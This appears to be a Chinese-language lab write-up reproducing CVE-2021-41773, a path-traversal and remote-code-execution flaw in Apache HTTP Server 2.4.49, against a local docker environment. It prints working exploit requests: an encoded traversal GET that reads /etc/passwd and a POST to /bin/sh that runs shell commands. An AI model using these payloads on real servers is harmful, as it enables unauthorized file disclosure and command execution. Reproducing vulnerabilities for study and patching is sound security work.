Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)
0x01漏洞概述
Apache HTTP Server项目是为包括UNIX和Windows在内的现代操作系统开发和维护开源HTTP服务器的努力。
在Apache HTTP Server 2.4.49中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。
如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了CGI脚本,则可能允许远程执行代码。
0x02漏洞复现
(1)进入漏洞环境目录,打开环境
docker-compose up -d
(2)访问漏洞环境页面
http://IP地址:8080/
(3)使用burpsuite抓包
GET / HTTP/1.1
Host: 192.168.207.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Cache-Control: max-age=0
(4)发送到重发器,进行改包操作
改变GET请求,代码如下:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
路径穿越成功!
(5)进行RCE代码执行
修改成POST请求,执行代码如下:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
echo; ls
执行成功
(6) 关闭靶场环境
docker-compose down
0x03修复方案
建议升级到最新版的Apache HTTP Server 版本。
0x04利用工具
在github查看到一篇文章,有一个利用工具。